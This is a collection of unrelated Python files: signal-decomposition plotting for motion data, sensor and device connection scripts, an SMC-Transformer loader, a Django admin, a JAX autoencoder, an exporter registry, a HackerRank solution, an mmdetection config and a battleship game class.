        new_EMDs[k, :] = new_IMF
        plt.plot(new_IMF, alpha=0.7)

    plt.plot(data, color='k', label='original')
    plt.title('EMD Perturbed Trajectories')
    m_EMD, u_EMD, l_EMD = calculateMeanStdDev(new_EMDs)
    plt.plot(m_EMD, color=(1, 0, 1), label='mean')
    plt.legend()

    plt.figure()
    plt.title('Different Method Trajectories Overview')
    plt.plot(m_VMD, color='r', label='VMD')
    plt.fill_between(range(len(m_VMD)), u_VMD, l_VMD, color='r', alpha = 0.2)
    plt.plot(m_STFT, color='b', label='STFT')
    plt.fill_between(range(len(m_STFT)), u_STFT, l_STFT, color='b', alpha = 0.2)
    plt.plot(m_EMD, color='g', label='EMD')
    plt.fill_between(range(len(m_EMD)), u_EMD, l_EMD, color='g', alpha = 0.2)
    plt.plot(data, color='k')
    plt.legend()
    plt.show()

def calculateMeanStdDev(dataset):
    num_columns = dataset.shape[1]
    mean = np.zeros(num_columns)
    upper = np.zeros(num_columns)
    lower = np.zeros(num_columns)

    for i in range(num_columns):
        column_data = dataset[:, i]
        mean[i] = np.mean(column_data)
        std = np.std(column_data)
        upper[i] = mean[i] + std
        lower[i] = mean[i] - std

    return mean, upper, lower

def MagnitudeWarp(time, n_points):
    step = int(len(time) / n_points)
    time_indices = np.arange(0, len(time), step, dtype=int)
    time_points = time[time_indices]

    distortion = np.random.normal(loc=1, scale=0.2, size=len(time_indices))

    cs = interpolate.CubicSpline(time_points, distortion)
    return cs(time)

h, df, t = parse_motion_file("/Users/FranklinZhao/OpenSimProject/Simulation/Models/Rajapogal_2015/inverse_kinematics_data/SN001_0024_tug_01.mot")
original_data = df.to_numpy()
feature = original_data[:, 6]
t = np.array(t)

# imf = emd_decomp(feature)
# new_signal = np.sum(imf.T, axis=0)
# print(imf.shape)
# plt.plot(new_signal)
# plt.show()

# graphEMDModeSpectrums(feature, 'EMDModeSpectrums.pdf')
# graphVMDModeSpectrums(feature, 'VMDModeSpectrums.pdf')

def plotWarping(warping):
    colors = ['#FF3333', '#FF9933', '#E6EC38', '#BBFF33', '#33FFD4', '#3377FF', '#7733FF', '#F333FF']
    n_warp = warping.shape[0]
    fig, axs = plt.subplots(n_warp, 1)

    for i in range(n_warp):
        axs[i].axhline(y=1, color='b', linestyle='--')
        axs[i].plot(warping[i][:], color = colors[i])
        axs[i].set_title(f"Warping {i+1}")
        axs[i].set_ylim(0.25, 1.75)
    fig.suptitle("Warpings")

def show_buckets(buckets, signal):
    plt.figure()
    colors = ['#FF3333', '#FF9933', '#E6EC38', '#BBFF33', '#33FFD4', '#3377FF', '#7733FF', '#F333FF']

    fft_result = np.fft.fft(signal)
    frequencies = np.fft.fftfreq(len(signal), 1/200)
    plt.plot(frequencies[:len(frequencies)//2], np.abs(fft_result[:len(frequencies)//2]))
    for i in range(len(buckets)):
        plt.axvspan(buckets[i][0], buckets[i][1], alpha=0.5, color=colors[i])
    plt.title("Frequency-Amplitude of Signal with Warping Segments")
    plt.xlim(0, 3)
    plt.title("Buckets vs Original Signal FFT")

def show_stft_buckets(buckets, f, t, Zxx):
    plt.figure()
    colors = ['#FF3333', '#FF9933', '#E6EC38', '#BBFF33', '#33FFD4', '#3377FF', '#7733FF', '#F333FF']
    spectrogram = np.abs(Zxx)**2
    plt.pcolormesh(t, f, 10 * np.log10(spectrogram), shading='gouraud', cmap='gray')  # Using logarithmic scale for better visualization
    plt.ylabel('Frequency (Hz)')
    plt.ylim(0, 3)
    plt.title("Spectrogram of SIgnal with Warping Segments")
    for i in range(len(buckets)):
        plt.axhspan(buckets[i][0], buckets[i][1], alpha=0.5, color=colors[i])
    plt.title("Buckets vs STFT Spectrogram")

def show_emd_buckets(buckets, imf, max_frequency):
    imf = imf.T
    fig, axs = plt.subplots(imf.shape[0], 1)
    colors = ['#FF3333', '#FF9933', '#E6EC38', '#BBFF33', '#33FFD4', '#3377FF', '#7733FF', '#F333FF']

    for i in range(imf.shape[0]):
        for j in range(len(buckets)):
            if (buckets[j])[0] <= np.abs(max_frequency[i]) < (buckets[j])[1]:
                axs[i].plot(imf[i], color=colors[j])
            else:
                axs[i].plot(imf[i], color='black')
            axs[i].set_title(f"imf {i}")
    fig.suptitle("Buckets vs EMD IMFs")

# comparePerturbation(feature, t, 1)

imfs, target_freqs = vmd_decomp(feature)
target_freqs = target_freqs[0]
freq_segments = []

plt.figure()
for i in range(imfs.shape[0]):
    plt.plot(imfs[i])
plt.show()


# See: https://github.com/winf-hsos/lifi-exercises/raw/main/exercises/03_exercise_on_and_off.pdf

#region Boilerplate code to connect to device
import yaml
from tinkerforge.ip_connection import IPConnection
from tinkerforge.bricklet_rotary_encoder_v2 import BrickletRotaryEncoderV2

# Load the configuration file
with open('./config.yaml', 'r') as f:
    config = yaml.safe_load(f)

UID_ROTARY_ENCODER = config.get("uid_rotary_encoder")
HOST = config.get("host")
PORT = config.get("port")

# Create an IP connection to the Brick Daemon
ipcon = IPConnection()
ipcon.connect(HOST, PORT)

# Get a reference to the Rotary Encoder
rotary = BrickletRotaryEncoderV2(UID_ROTARY_ENCODER, ipcon)

#endregion

# Your code follows here...


import tensorflow as tf
import numpy as np
import json

from models.SMC_Transformer.SMC_Transformer import SMC_Transformer
from eval.inference_functions import evaluate_one_timestep
from preprocessing.time_series.df_to_dataset import df_to_data_regression

# -------- load config file and checkpoint --------------------------------------
out_path='/Users/alicemartin/000_Boulot_Polytechnique/07_PhD_thesis/code/SMC-T/output/exp_reg_162_loss_modified_grad_not0/time_series_multi_unistep-forcst_heads_1_depth_12_dff_48_pos-enc_50_pdrop_0.1_b_1048_cs_True__particles_5_noise_True_sigma_0.1_smc-pos-enc_None/'
ckpt_path = out_path + 'checkpoints/SMC_transformer/ckpt-30'
config_path = out_path + 'config_nlp.json'

# get hparams from config file:
with open(config_path) as f:
  hparams = json.load(f)

# model params
num_layers = hparams["model"]["num_layers"]
num_heads = hparams["model"]["num_heads"]
d_model = hparams["model"]["d_model"]
dff = hparams["model"]["dff"]
rate = hparams["model"]["rate"]  # p_dropout
max_pos_enc_bas_str = hparams["model"]["maximum_position_encoding_baseline"]
maximum_position_encoding_baseline = None if max_pos_enc_bas_str == "None" else max_pos_enc_bas_str
max_pos_enc_smc_str = hparams["model"]["maximum_position_encoding_smc"]
maximum_position_encoding_smc = None if max_pos_enc_smc_str == "None" else max_pos_enc_smc_str

# smc params
num_particles = hparams["smc"]["num_particles"]
noise_encoder_str = hparams["smc"]["noise_encoder"]
noise_encoder = True if noise_encoder_str == "True" else False
noise_SMC_layer_str = hparams["smc"]["noise_SMC_layer"]
noise_SMC_layer = True if noise_SMC_layer_str == "True" else False
sigma = hparams["smc"]["sigma"]
# computing manually resampling parameter
resampling = False if num_particles == 1 else True

# optim params
BATCH_SIZE = hparams["optim"]["BATCH_SIZE"]
learning_rate = hparams["optim"]["learning_rate"]
EPOCHS = hparams["optim"]["EPOCHS"]
custom_schedule = hparams["optim"]["custom_schedule"]

# task params
data_type = hparams["task"]["data_type"]
task_type = hparams["task"]["task_type"]
task = hparams["task"]["task"]

# adding RNN hyper-parameters
rnn_bs = BATCH_SIZE
rnn_emb_dim = hparams["RNN_hparams"]["rnn_emb_dim"]
rnn_units = hparams["RNN_hparams"]["rnn_units"]

# loading data arguments for the regression case
if task_type == 'regression':
  file_path = hparams["data"]["file_path"]
  fname = hparams["data"]["fname"]
  col_name = hparams["data"]["col_name"]
  index_name = hparams["data"]["index_name"]
  TRAIN_SPLIT = hparams["data"]["TRAIN_SPLIT"]
  history = hparams["data"]["history"]
  step = hparams["data"]["step"]
  target_feature = hparams["data"]["target_feature"]
  if target_feature == "None":
    target_feature = None

seq_len = 12
target_vocab_size = 1

# ------ load test dataset -------------------------------------------------------------------------------------------
(train_data, val_data, test_data), original_df = df_to_data_regression(file_path=file_path,
                                                                       fname=fname,
                                                                       col_name=col_name,
                                                                       index_name=index_name,
                                                                       TRAIN_SPLIT=TRAIN_SPLIT,
                                                                       history=history,
                                                                       step=step)

print('test_data shape', test_data.shape)

# ------ re-create model and load weights -----------------------------------------------------------------------------------

smc_transformer = SMC_Transformer(num_layers=num_layers,
                          d_model=d_model,
                          num_heads=num_heads,
                          dff=dff,
                          target_vocab_size=target_vocab_size,
                          maximum_position_encoding=maximum_position_encoding_smc,
                          num_particles=num_particles,
                          sigma=sigma,
                          noise_encoder=noise_encoder,
                          noise_SMC_layer=noise_SMC_layer,
                          seq_len=seq_len,
                          data_type=data_type,
                          task_type=task_type,
                          resampling=resampling,
                          target_feature=target_feature)

smc_transformer.load_weights(ckpt_path)


from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from register.models import User

class UserAdmin(UserAdmin):
    exclude = ('username',)
    list_display = (
        'email',
        'first_name',
        'last_name',
        'middle_name',
        'date_joined',
        'last_login',
        'is_admin',
        'is_staff',
    )
    search_fields = (
        'email',
        'id',
    )
    readonly_fields = (
        'id',
        'date_joined',
        'last_login',
    )
    ordering = ('email',)

    filter_horizontal = ()
    list_filter = ()
    fieldsets = ()

admin.site.register(User, UserAdmin)


import numpy as np
import pytrigno

def create_connection_accl(host):
    dev = pytrigno.TrignoAccel(channel_range=(0, 63), samples_per_read=1,
                               host=host)
    dev.check_sensor_n_type(1)
    dev.check_sensor_n_mode(1)
    dev.check_sensor_n_start_index(1)
    dev.check_sensor_n_auxchannel_count(1)
    return dev

def acquire_imu():
    dev.start()
    print("Connection established::")
    try:
        while True:
            data = dev.read()
            imu_data.append(np.concatenate((data[9:15], data[27:33], data[36:42],
                            data[45:51], data[54:60]), axis=0))
            print(data[54][0], "\t", data[55][0], "\t", data[56][0])
    except KeyboardInterrupt:
        dev.stop()
        print('Data acquisition stopped')

def save_to_csv():
    ys_np = []
    for lst in imu_data:
        ys_np.append(lst.flatten())
    ys_np = np.array(ys_np)
    np.savetxt("Tests/test.csv", ys_np, delimiter=",")
    print("Saved to csv successfully: ")

imu_data = []
dev = create_connection_accl('localhost')
acquire_imu()
save_to_csv()
print("Finished")


import jax
import jax.numpy as jnp

import haiku as hk

from .common import get_params_struct, get_flat_params, unflatten_params, choose_nonlinearity

class MlpAutoencoder(object):

    def __init__(self,
                rng_key : jax.random.PRNGKey,
                input_dim : int,
                latent_dim : int,
                output_dim : int,
                encoder_setup_params : dict,
                decoder_setup_params : dict,
                model_name : str = 'mlp_autoencoder',
                ):
        """
        Constructor for the multi-layer perceptron.

        Parameters
        ----------
        rng_key :
            A key for random initialization of the parameters of the
            neural networks.
        input_dim :
            The dimension of the network inputs.
        latent_dim :
            The dimension of the latent space.
        output_dim :
            The dimension of the network outputs.
        encoder_setup_params :
            A dictionary containing the parameters for the encoder network.
            {'output_sizes' : , 'w_init' : , 'b_init' : , 'with_bias' : ,
            'activation' :, 'activate_final':}.
        decoder_setup_params :
            A dictionary containing the parameters for the decoder network.
            {'output_sizes' : , 'w_init' : , 'b_init' : , 'with_bias' : ,
            'activation' :, 'activate_final':}.
        model_name :
            A name for the model of interest. This must be unique as it
            is useful to load and save parameters of the model.
        """

        self.rng_key = rng_key
        self.init_rng_key = rng_key
        self.input_dim = input_dim
        self.output_dim = output_dim
        self.latent_dim = latent_dim
        self.model_name = model_name
        self.encoder_setup_params = encoder_setup_params
        self.decoder_setup_params = decoder_setup_params

        # Initialize the neural network ode.
        self._build_model()
        self.params_shapes, self.count, self.params_tree_struct = \
            get_params_struct(self.init_params)

    def _build_model(self):
        """
        This function builds a neural network to directly estimate future state
        values. Specifically, it returns a function to estimate next state and a
        function to update the network parameters.t

        Outputs
        -------
        params :
            The pytree containing the parameters of the neural ODE.
        forward :
            A function that takes a state as input and outputs the predicted
            next state.
        loss :
            A function that computes the loss of a given collection of datapoints.
        update :
            A function to update the parameters of the neural ODE.
        """
        encoder_setup_params = self.encoder_setup_params.copy()
        nonlinearity = choose_nonlinearity(encoder_setup_params['activation'])

        # Build the encoder network.
        def encoder_network(x):
            for output_ind in range(len(encoder_setup_params['output_sizes'])):
                if output_ind == 0 \
                    or output_ind == len(encoder_setup_params['output_sizes']) - 1\
                        or not encoder_setup_params['residual_connections']:
                    x = hk.Linear(encoder_setup_params['output_sizes'][output_ind])(x)
                else: # add residual connections
                    x = x + hk.Linear(encoder_setup_params['output_sizes'][output_ind])(x)
                if output_ind < len(encoder_setup_params['output_sizes']) - 1:
                    x = nonlinearity(x)
            return x

        encoder_network_pure = hk.without_apply_rng(hk.transform(encoder_network))

        self.rng_key, subkey = jax.random.split(self.rng_key)
        init_encoder_params = encoder_network_pure.init(
                                    rng=subkey, x=jnp.zeros((self.input_dim,))
                                )

        def encode(params, x):
            return encoder_network_pure.apply(params, x)

        encode = jax.jit(encode)

        decoder_setup_params = self.decoder_setup_params.copy()
        nonlinearity = choose_nonlinearity(decoder_setup_params['activation'])

        # Build the decoder network.
        def decoder_network(x):
            # return hk.nets.MLP(**decoder_setup_params)(x)
            for output_ind in range(len(decoder_setup_params['output_sizes'])):
                if output_ind == 0 \
                    or output_ind == len(decoder_setup_params['output_sizes']) - 1 \
                        or not decoder_setup_params['residual_connections']:
                    x = hk.Linear(decoder_setup_params['output_sizes'][output_ind])(x)
                else: # add residual connections
                    x = x + hk.Linear(decoder_setup_params['output_sizes'][output_ind])(x)

                if output_ind < len(decoder_setup_params['output_sizes']) - 1:
                    x = nonlinearity(x)
            return x

        decoder_network_pure = hk.without_apply_rng(hk.transform(decoder_network))

        self.rng_key, subkey = jax.random.split(self.rng_key)
        init_decoder_params = decoder_network_pure.init(
                                    rng=subkey, x=jnp.zeros((self.latent_dim,))
                                )

        def decode(params, x):
            return decoder_network_pure.apply(params, x)

        decode = jax.jit(decode)

        # Define the autoencoder forward function.
        def forward(params, x):
            encoder_params, decoder_params = params
            z = encode(encoder_params, x)
            return decode(decoder_params, z)

        forward = jax.jit(forward)

        self.forward = forward
        self.encode = encode
        self.decode = decode
        self.init_params = (init_encoder_params, init_decoder_params)
        self.init_encoder_params = init_encoder_params
        self.init_decoder_params = init_decoder_params


from __future__ import unicode_literals

class StoryExportManager(object):
    """The story export manager."""

    _class_registry = {}

    @classmethod
    def clear_registration(cls):
        """Clears all analyzer registration."""
        cls._class_registry = {}

    @classmethod
    def get_exporters(cls, exporter_types=None):
        """Retrieves the registered story exporters.

        Args:
            exporter_types (list): List of exporter types.

        Yields:
            tuple: containing:
                str: the uniquely identifying name of the story exporter.
                type: the exporter class.
        """
        for exporter_type, exporter_class in cls._class_registry.items():
            if exporter_types and exporter_type not in exporter_types:
                continue
            yield exporter_type, exporter_class

    @classmethod
    def get_formats(cls):
        """Retrieves the registered format types."""
        return cls._class_registry.keys()

    @classmethod
    def get_exporter(cls, exporter_type):
        """Retrieves a class object of a specific exporter.

        Args:
            exporter_type (str): name of the exporter to retrieve.

        Returns:
            StoryExporter class object.
        """
        return cls._class_registry.get(exporter_type.lower())

    @classmethod
    def register_exporter(cls, exporter_class):
        """Registers an exporter class.

        The exporter classes are identified by their lower export format.

        Args:
            exporter_class (type): the exporter class to register.

        Raises:
            KeyError: if class is already set for the corresponding name.
        """
        exporter_type = exporter_class.EXPORT_FORMAT.lower()
        if exporter_type in cls._class_registry:
            raise KeyError(
                "Class already set for name: {0:s}.".format(
                    exporter_class.EXPORT_FORMAT
                )
            )

        cls._class_registry[exporter_type] = exporter_class


# picking numbers https://www.hackerrank.com/challenges/picking-numbers/problem
# Given an array of integers, find and print the maximum number of integers you can
# select from the array such that the absolute difference between any two of the chosen
# integers is less than or equal to . For example, if your array is a = [1, 1, 2, 2, 4, 4, 5, 5, 5],
# you can create two subarrays meeting the criterion: [1, 1, 2, 2] and [4, 4, 5, 5, 5].
# The maximum length subarray has 5 elements.

def pickingNumbers(a):
    m = [0]*100
    for i in a:
        m[i] += 1
    max = 0
    for i, j in zip(m[:-1], m[1:]):
        if (i + j) > max:
            max = i + j
    return max

if __name__ == "__main__":

    t1 = [1, 2, 2, 3, 1, 2]
    t2 = [4, 6, 5, 3, 3, 1]

    print(pickingNumbers(t1))
    print(pickingNumbers(t2))


"""
We directly take the ConvNeXt-T+MaskRCNN 3x recipe from https://github.com/facebookresearch/ConvNeXt/blob/main/object_detection/configs/convnext/mask_rcnn_convnext_tiny_patch4_window7_mstrain_480-800_adamw_3x_coco_in1k.py
And we modify  this  ConvNeXt-T+MaskRCNN 3x recipe to our ConvNeXt-B+MaskRCNN 3x recipe.
The modifications (commented as [modified] below) are according to:
- 1. tiny-to-base: (some configs of ConvNext-T are updated to those of ConvNext-B, referring to https://github.com/facebookresearch/ConvNeXt/blob/main/object_detection/configs/convnext/cascade_mask_rcnn_convnext_base_patch4_window7_mstrain_480-800_giou_4conv1f_adamw_3x_coco_in22k.py)
    - model.backbone.{depths, dims, drop_path_rate}
    - models.neck
    - optimizer.paramwise_cfg.num_layers

- 2. our paper (https://openreview.net/forum?id=NRxydtWup1S, or https://arxiv.org/abs/2301.03580):
    - LR layer decay (optimizer.paramwise_cfg.decay_rate): 0.65
    - LR scheduled ratio (lr_config.gamma): 0.2
    - Learning rate (optimizer.lr): 0.0002
    - optimizer_config.use_fp16: False (we just use fp32 by default; actually we didn't test the performance of using fp16)
"""

_base_ = [
    '../_base_/models/mask_rcnn_convnext_fpn.py',
    '../_base_/datasets/coco_instance.py',
    '../_base_/schedules/schedule_1x.py', '../_base_/default_runtime.py'
]

model = dict(
    backbone=dict(
        in_chans=3,
        depths=[3, 3, 27, 3],           # [modified] according to tiny-to-base
        dims=[128, 256, 512, 1024],     # [modified] according to tiny-to-base
        drop_path_rate=0.5,             # [modified] according to tiny-to-base
        layer_scale_init_value=1.0,
        out_indices=[0, 1, 2, 3],
    ),
    neck=dict(in_channels=[128, 256, 512, 1024]))   # [modified] according to tiny-to-base

img_norm_cfg = dict(
    mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)

# augmentation strategy originates from DETR / Sparse RCNN
train_pipeline = [
    dict(type='LoadImageFromFile'),
    dict(type='LoadAnnotations', with_bbox=True, with_mask=True),
    dict(type='RandomFlip', flip_ratio=0.5),
    dict(type='AutoAugment',
         policies=[
             [
                 dict(type='Resize',
                      img_scale=[(480, 1333), (512, 1333), (544, 1333), (576, 1333),
                                 (608, 1333), (640, 1333), (672, 1333), (704, 1333),
                                 (736, 1333), (768, 1333), (800, 1333)],
                      multiscale_mode='value',
                      keep_ratio=True)
             ],
             [
                 dict(type='Resize',
                      img_scale=[(400, 1333), (500, 1333), (600, 1333)],
                      multiscale_mode='value',
                      keep_ratio=True),
                 dict(type='RandomCrop',
                      crop_type='absolute_range',
                      crop_size=(384, 600),
                      allow_negative_crop=True),
                 dict(type='Resize',
                      img_scale=[(480, 1333), (512, 1333), (544, 1333),
                                 (576, 1333), (608, 1333), (640, 1333),
                                 (672, 1333), (704, 1333), (736, 1333),
                                 (768, 1333), (800, 1333)],
                      multiscale_mode='value',
                      override=True,
                      keep_ratio=True)
             ]
         ]),
    dict(type='Normalize', **img_norm_cfg),
    dict(type='Pad', size_divisor=32),
    dict(type='DefaultFormatBundle'),
    dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels', 'gt_masks']),
]
data = dict(train=dict(pipeline=train_pipeline))

optimizer = dict(constructor='LearningRateDecayOptimizerConstructor', _delete_=True, type='AdamW',
                 lr=0.0002, betas=(0.9, 0.999), weight_decay=0.05,  # [modified] according to our paper
                 paramwise_cfg={'decay_rate': 0.65,                 # [modified] according to our paper
                                'decay_type': 'layer_wise',
                                'num_layers': 12})                  # [modified] according to tiny-to-base
lr_config = dict(step=[27, 33], gamma=0.2)                          # [modified] according to our paper
runner = dict(type='EpochBasedRunnerAmp', max_epochs=36)

# do not use mmdet version fp16
fp16 = None
optimizer_config = dict(
    type="DistOptimizerHook",
    update_interval=1,
    grad_clip=None,
    coalesce=True,
    bucket_size_mb=-1,
    use_fp16=False,              # [modified] True => False
)


import abc
from rules import Rules
from sea import *

class Player:
    def __init__(self, name='player'):
        self.name = name
        self.my_sea = Sea(Rules.width, Rules.height, True)
        self.other_sea = Sea(Rules.width, Rules.height, False)
        self.ships = Rules.ships

    @abc.abstractmethod
    def turn(self, prev_result):
        # prev_result - object of class Cell or None
        pass

    def boom(self, x, y):
        return self.my_sea.try_to_boom_cell(x, y)

    def place_ship(self, length, x, y, horizontal=True):
        if length < 0 or length >= len(self.ships):
            return False
        for i in range(length):
            if self.my_sea.get_cell(x, y) is None or self.my_sea.get_cell(x, y).content != Sea.WATER:
                return False
            for cell in self.my_sea.get_cell(x, y).get_siblings():
                if cell.content in (Sea.FIRE, Sea.SHIP):
                    return False
            if horizontal:
                x += 1
            else:
                y += 1
        if horizontal:
            x -= length
        else:
            y -= length
        ship = Ship()
        for i in range(length):
            self.my_sea.get_cell(x, y).content = Sea.SHIP
            self.my_sea.get_cell(x, y).ship = ship
            ship.add_cell(self.my_sea.get_cell(x, y))
            if horizontal:
                x += 1
            else:
                y += 1
        self.ships[length] -= 1
        return True

    def place_ships(self):
        self.place_ship(4, 1, 1)
        self.place_ship(3, 6, 1)
        self.place_ship(3, 1, 3)
        self.place_ship(2, 5, 3)
        self.place_ship(2, 8, 3)
        self.place_ship(1, 1, 5)
        self.place_ship(1, 3, 5)
        self.place_ship(1, 5, 5)
        self.place_ship(1, 7, 5)

    def __str__(self):
        my_sea_arr = self.my_sea.__str__().split('\n')
        other_sea_arr = self.other_sea.__str__().split('\n')
        res = 'Name:'+self.name+'\n'
        for row in range(len(my_sea_arr)):
            res += my_sea_arr[row] + '\t|\t' + other_sea_arr[row] + '\n'
        return res